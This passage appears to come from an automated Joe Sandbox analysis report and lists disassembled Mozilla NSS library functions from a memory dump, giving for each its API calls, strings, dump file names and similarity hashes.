PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD6CA3

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAD6CD5

Strings

C_DigestInit, xrefs: 6CAD6C61
hSession = 0x%x, xrefs: 6CAD6C7E, 6CAD6C8E
pMechanism = 0x%p, xrefs: 6CAD6CD0
(CK_INVALID_HANDLE), xrefs: 6CAD6C9C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 03a567b2443946a20e4143495dd8d513cc02d0cce3a80811457a9f76e1be912f
Instruction ID: 9b1e3548ff20fef7d42c7614ecf2e1e378efe319a4e81afea2807c61f1339097
Opcode Fuzzy Hash: 03a567b2443946a20e4143495dd8d513cc02d0cce3a80811457a9f76e1be912f
Instruction Fuzzy Hash: 8121F5757001949BDB009F64EE49BAE37B5EB4221DF4B4429E409E7B02DF35A98CCB92

Function 6CAD9DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CAD9DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD9E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD9E33

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD9E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CAD9E65

Strings

hSession = 0x%x, xrefs: 6CAD9E0E, 6CAD9E1E
C_SessionCancel, xrefs: 6CAD9DF1
flags = 0x%x, xrefs: 6CAD9E60
(CK_INVALID_HANDLE), xrefs: 6CAD9E2C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: e2bdae9bfb67be9d9b65303d2076a131e971201ee3f6515b2b45861aa78666da
Instruction ID: 39ccd94aa0c83ba0748cd074e644ac48d53adf6b76c6f8df020b143de7783dc1
Opcode Fuzzy Hash: e2bdae9bfb67be9d9b65303d2076a131e971201ee3f6515b2b45861aa78666da
Instruction Fuzzy Hash: 0821E6757012899FE7009B24DE98BAE37B5EB4271DF074028E509A7601DF35EC88C692

Function 6CAA0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CAA0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CAA0F84

Part of subcall function 6CAFB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBD18D0,?), ref: 6CAFB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CABF59B,6CBC890C,?), ref: 6CAA0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CAA0FC1

Part of subcall function 6CB00BE0: malloc.MOZGLUE(6CAF8D2D,?,00000000,?), ref: 6CB00BF8
Part of subcall function 6CB00BE0: TlsGetValue.KERNEL32(6CAF8D2D,?,00000000,?), ref: 6CB00C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CAA0FDB
PR_CallOnce.NSS3(6CC02AA4,6CB012D0), ref: 6CAA0FEF
PL_FreeArenaPool.NSS3(?), ref: 6CAA1001
PL_FinishArenaPool.NSS3(?), ref: 6CAA1009

Strings

security, xrefs: 6CAA0F5C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 8966c08c1d698ac2240a0b4fa1c749f7ac2204e3579151f685ec905870caa9ff
Instruction ID: 4237988c1150e35b104492d797ec69ffe86829cd9dd9b3f430434722f4c9862a
Opcode Fuzzy Hash: 8966c08c1d698ac2240a0b4fa1c749f7ac2204e3579151f685ec905870caa9ff
Instruction Fuzzy Hash: 9E21F871A04284ABE7009F29DC41AAF7BB4EF4465CF048519FC5897701FB31D59ACBD2

Function 6CAA6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CAA7D8F,6CAA7D8F,?,?), ref: 6CAA6DC8

Part of subcall function 6CAFFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CAFFE08
Part of subcall function 6CAFFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CAFFE1D
Part of subcall function 6CAFFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CAFFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CAA7D8F,?,?), ref: 6CAA6DD5

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBC8FA0,00000000,?,?,?,?,6CAA7D8F,?,?), ref: 6CAA6DF7

Part of subcall function 6CAFB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBD18D0,?), ref: 6CAFB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CAA6E35

Part of subcall function 6CAFFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CAFFE29
Part of subcall function 6CAFFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CAFFE3D
Part of subcall function 6CAFFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CAFFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CAA6E4C

Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBC8FE0,00000000), ref: 6CAA6E82

Part of subcall function 6CAA6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CAAB21D,00000000,00000000,6CAAB219,?,6CAA6BFB,00000000,?,00000000,00000000,?,?,?,6CAAB21D), ref: 6CAA6B01
Part of subcall function 6CAA6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CAA6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CAA6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CAA6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBC8FE0,00000000), ref: 6CAA6F6B
PR_SetError.NSS3(FFFFE005,00000000,6CAA7D8F,?,?), ref: 6CAA6FE1

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 83917d606aeb8e8378968cc17d66a82e95d20ce6e2884aec16ae90312ab2cc9c
Instruction ID: c51073ff0f685266042f188637c9c447fe070c341317f1a1150407ec53ee443b
Opcode Fuzzy Hash: 83917d606aeb8e8378968cc17d66a82e95d20ce6e2884aec16ae90312ab2cc9c
Instruction Fuzzy Hash: E2716F71E106469BDB00CF59CD40BAABBB4BF58348F194229E818D7B11F771EAD6CB90

Function 6CAE0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAE1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAE1085
PK11_GetAllTokens.NSS3 ref: 6CAE10B1
free.MOZGLUE(?), ref: 6CAE1107
PR_SetError.NSS3(00000000,00000000), ref: 6CAE1172
free.MOZGLUE(?), ref: 6CAE1182
free.MOZGLUE(?), ref: 6CAE11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CAE11C5

Part of subcall function 6CAE52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CABEAC5,00000001), ref: 6CAE52DF
Part of subcall function 6CAE52C0: EnterCriticalSection.KERNEL32(?), ref: 6CAE52F3
Part of subcall function 6CAE52C0: PR_Unlock.NSS3(?), ref: 6CAE5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAE11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAE11F3

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 7fd9e9207c81cd8b94eeb660408c9615b8cca5274dd8f827c2f50d4c651cc665
Instruction ID: 1d8cbbe0006682ec5497e594db51bd293146f25819eae806b72e12f6a3d4439f
Opcode Fuzzy Hash: 7fd9e9207c81cd8b94eeb660408c9615b8cca5274dd8f827c2f50d4c651cc665
Instruction Fuzzy Hash: E06185B0E003559BDB00DF64DC81BAEB7B5BF09348F184128EE19AB742E731E995DB91

Function 6CAEADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CACCDBB,?,6CACD079,00000000,00000001), ref: 6CAEAE10
EnterCriticalSection.KERNEL32(?,?,6CACCDBB,?,6CACD079,00000000,00000001), ref: 6CAEAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CACD079,00000000,00000001), ref: 6CAEAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CACCDBB,?,6CACD079,00000000,00000001), ref: 6CAEAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CACCDBB,?,6CACD079,00000000,00000001), ref: 6CAEAE7F
TlsGetValue.KERNEL32(?,6CACCDBB,?,6CACD079,00000000,00000001), ref: 6CAEAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CACCDBB,?,6CACD079,00000000,00000001), ref: 6CAEAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CACCDBB,?,6CACD079,00000000,00000001), ref: 6CAEAEF1
free.MOZGLUE(6CACCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CACCDBB,?), ref: 6CAEAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CACCDBB,?,6CACD079,00000000,00000001), ref: 6CAEAF30

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 0fa6176120f33b4d10acdf1b61843bd9c0e8de639f56bc901545b6a63be3a859
Instruction ID: ae025157e93ccfff0b1e4f55b0d9a9d6239785f481d4a05fa38a66507e8ce70b
Opcode Fuzzy Hash: 0fa6176120f33b4d10acdf1b61843bd9c0e8de639f56bc901545b6a63be3a859
Instruction Fuzzy Hash: E2518EB5A00611AFDB00DF29D884B5ABBB5FF08318F184664E81897F11E731ECA8DBD1

Function 6CAC4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CACAB7F,?,00000000,?), ref: 6CAC4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CACAB7F,?,00000000,?), ref: 6CAC4CC8
TlsGetValue.KERNEL32(?,6CACAB7F,?,00000000,?), ref: 6CAC4CE0
EnterCriticalSection.KERNEL32(?,?,6CACAB7F,?,00000000,?), ref: 6CAC4CF4
PL_HashTableLookup.NSS3(?,?,?,6CACAB7F,?,00000000,?), ref: 6CAC4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CAC4D10

Part of subcall function 6CB4DD70: TlsGetValue.KERNEL32 ref: 6CB4DD8C
Part of subcall function 6CB4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB4DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CAC4D26

Part of subcall function 6CB69DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBB0A27), ref: 6CB69DC6
Part of subcall function 6CB69DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBB0A27), ref: 6CB69DD1
Part of subcall function 6CB69DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB69DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CAC4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CAC4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CAC4E02

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 01e3841c7f49ef58c807525edf8880fa790d19b8962df8836ac75a330059979e
Instruction ID: f9e8a63d4730f653249ac372f1a8120658c9fe8371640388e27470bfc8c6c592
Opcode Fuzzy Hash: 01e3841c7f49ef58c807525edf8880fa790d19b8962df8836ac75a330059979e
Instruction Fuzzy Hash: A641B9B5B002059BEB016F78ED44A6A77B8EF16358F094170EC1897B12FB31D9A8C7D2

Function 6CAABFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CAABFFB

Part of subcall function 6CB00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CAA87ED,00000800,6CA9EF74,00000000), ref: 6CB01000
Part of subcall function 6CB00FF0: PR_NewLock.NSS3(?,00000800,6CA9EF74,00000000), ref: 6CB01016
Part of subcall function 6CB00FF0: PL_InitArenaPool.NSS3(00000000,security,6CAA87ED,00000008,?,00000800,6CA9EF74,00000000), ref: 6CB0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CAAC015

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CAAC032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CAAC04D

Part of subcall function 6CAF69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CAF6A47
Part of subcall function 6CAF69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CAF6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CAAC064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CAAC07B

Part of subcall function 6CAA8980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CAA7310), ref: 6CAA89B8
Part of subcall function 6CAA8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CAA7310), ref: 6CAA89E6
Part of subcall function 6CAA8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CAA8A00
Part of subcall function 6CAA8980: CERT_CopyRDN.NSS3(00000004,00000000,6CAA7310,?,?,00000004,?), ref: 6CAA8A1B
Part of subcall function 6CAA8980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CAA8A74

Part of subcall function 6CAA1D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CAAC097,00000000,000000B0,?), ref: 6CAA1D2C
Part of subcall function 6CAA1D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CAAC09B,00000000,00000000,00000000,?,6CAAC097,00000000,000000B0,?), ref: 6CAA1D3F
Part of subcall function 6CAA1D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CAAC087,00000000,000000B0,?), ref: 6CAA1D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CAAC0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CAAC0C9

Part of subcall function 6CAB2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CAAC0D2,6CAAC0CE,00000000,-000000D4,?), ref: 6CAB2DF5
Part of subcall function 6CAB2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CAAC0CE,00000000,-000000D4,?), ref: 6CAB2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CAAC0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAAC0E3

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: f487cf12ee10243835970b43a01109d1b6b20f2b6084381bbb1dbd191c8eefb5
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: C02192B2A402056BFB015AA2AD81FFB366C9B4175CF0C0035FD04DB646FB26D95E83B2

Function 6CAA2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CAA2CDA,?,00000000), ref: 6CAA2E1E

Part of subcall function 6CAFFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CAA9003,?), ref: 6CAFFD91
Part of subcall function 6CAFFD80: PORT_Alloc_Util.NSS3(A4686CB0,?), ref: 6CAFFDA2
Part of subcall function 6CAFFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CB0,?,?), ref: 6CAFFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CAA2E33

Part of subcall function 6CAFFD80: free.MOZGLUE(00000000,?,?), ref: 6CAFFDD1

TlsGetValue.KERNEL32 ref: 6CAA2E4E
EnterCriticalSection.KERNEL32(?), ref: 6CAA2E5E
PL_HashTableLookup.NSS3(?), ref: 6CAA2E71
PL_HashTableRemove.NSS3(?), ref: 6CAA2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CAA2E96
PR_Unlock.NSS3 ref: 6CAA2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAA2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAA2EC5

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: bb1e3433de433aef3d61c36bfcc01bb13c16e39c248e313f80e4ebaf95a73760
Instruction ID: ceb8f98170511f9dda53df7689db3329fa5e4cd0e40ad21896b7d6bd488ce098
Opcode Fuzzy Hash: bb1e3433de433aef3d61c36bfcc01bb13c16e39c248e313f80e4ebaf95a73760
Instruction Fuzzy Hash: 9E21D376A00100A7EF211B65AD09A9B3A79DB5235DF094124ED2C83B11F732C5EED6A1

Function 6CA8FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CA8FD18
sqlite3_initialize.NSS3 ref: 6CA8FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA8FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CA8FD99
sqlite3_free.NSS3(00000000), ref: 6CA8FE3C
sqlite3_free.NSS3(?), ref: 6CA8FEE3
sqlite3_free.NSS3(?), ref: 6CA8FEEE

Strings

simple, xrefs: 6CA8FC79

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: b049c3362ed27a02e8b4f5913c59e4ae175bb8a0797b4174cc7f6104517369ea
